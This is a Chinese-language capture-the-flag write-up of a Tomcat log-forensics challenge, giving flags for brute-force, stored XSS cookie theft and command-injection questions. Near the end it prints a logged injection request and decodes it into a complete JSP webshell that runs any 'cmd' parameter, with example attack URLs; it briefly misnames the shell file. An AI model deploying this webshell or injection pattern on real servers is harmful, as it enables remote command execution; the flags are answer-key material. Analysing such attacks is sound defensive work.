日志分析-Tomcat日志分析
日志分析-Tomcat日志分析
1、Tomcat日志所在的绝对路径是?
2、攻击者对某网站进行了口令爆破。请你判断口令成功匹配的请求的响应码是?
3、攻击者向admin.jsp的管理员留言板界面发送了恶意JS代码从而构成了存储型XSS。已知攻击者试图盗取管理员cookie,并将其发送至其本地服务器上。请你判断其服务器上用于盗取cookie而监听的端口是?
4、攻击者利用执行系统命令的参数是?
5、攻击者通过某种手段遗留了后门文件,请你找到该文件并按需提交其文件中的flag
1、Tomcat日志所在的绝对路径是?
在C盘打开就能看到一个server点进去就找到日志路径了
flag{C:\server\apache-tomcat-11.0.5\logs}

2、攻击者对某网站进行了口令爆破。请你判断口令成功匹配的请求的响应码是?
我们查看tomcat日志,找到这个最大的日志文件

拉倒最下面,看到黑客对网站爆破最后一条日志的请求状态码是302,就是这个了
flag{302}

3、攻击者向admin.jsp的管理员留言板界面发送了恶意JS代码从而构成了存储型XSS。已知攻击者试图盗取管理员cookie,并将其发送至其本地服务器上。请你判断其服务器上用于盗取cookie而监听的端口是?
根据日志来看他爆破的网站是在demo目录,我们返回到tomcat目录在webapps下面找到了messages.txt文件,打开就发现了ip地址后面就是监听端口
flag{5000}


4、攻击者利用执行系统命令的参数是?
我们返回刚才的日志文件,在最下面看到了攻击者利用命令执行了一个whoami的命令这个ip就是执行系统命令的参数
flag{ip}

5、攻击者通过某种手段遗留了后门文件,请你找到该文件并按需提交其文件中的flag
我们看到最下面的那个图片,这里使用了echo写入了一串命令

192.168.5.66 - - [19/Mar/2025:23:16:42 +0800] "GET /connect/ping.jsp?ip=8.8.8.8+%26%26+echo+%5E%3C%25%40+page+language%3D%22java%22+import%3D%22java.util.*%2Cjava.io.*%22+%25%5E%3E%5E%3C%25+String+cmd+%3D+request.getParameter%28%22cmd%22%29%3B+if+%28cmd+%21%3D+null%29+%7B+Process+p+%3D+Runtime.getRuntime%28%29.exec%28cmd%29%3B+BufferedReader+reader+%3D+new+BufferedReader%28new+InputStreamReader%28p.getInputStream%28%29%29%29%3B+String+line%3B+while+%28%28line+%3D+reader.readLine%28%29%29+%21%3D+null%29+%7B+out.println%28line+%2B+%22%5E%3Cbr%5E%3E%22%29%3B+%7D+%7D+%25%5E%3E+%3E+C%3A%5Cserver%5Capache-tomcat-11.0.5%5Cwebapps%5CROOT%5Chello.jsp HTTP/1.1" 200 1349
可以看到这里在webapps/ROOT/下面写了一个hello.jsp文件



拿到flag{youmadeit}
扩展
将这个命令拿去解码看看
攻击者目标是:上传一个后门(WebShell)到 C: 盘,命名为 ping.jsp,然后远程执行命令。
还原后是:
ip=8.8.8.8 && echo ^<%@ page language="java" import="java.util.*,java.io.*" %^>
<% String cmd = request.getParameter("cmd"); if (cmd != null) {
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
out.println(line + "<br>");
}
} %> > C:\server\apache-tomcat-11.0.5\webapps\ROOT\hello.jsp
这个命令的意思是:
- 利用参数拼接,将一段 恶意Java JSP脚本写入
hello.jsp文件 hello.jsp会执行攻击者通过 URL 参数传来的命令cmd- 相当于 部署了一个Web Shell
✅ 这是典型的JSP WebShell模板,攻击者可以通过访问:
bash 复制编辑 http://目标服务器/ping.jsp?cmd=whoami来执行命令,如
whoami、ipconfig、netstat,获取服务器信息。
使用 命令注入 && echo ... > C:,构造请求:
bash
复制编辑
http://victim.com/connect/ping.jsp?ip=8.8.8.8 && echo <恶意代码> > C:\路径\ping.jsp
如果服务端未过滤参数,攻击者可能成功将 JSP WebShell 写入磁盘。
然后攻击者访问这个 JSP 页面,通过参数 cmd 执行任意命令

浙公网安备 33010602011771号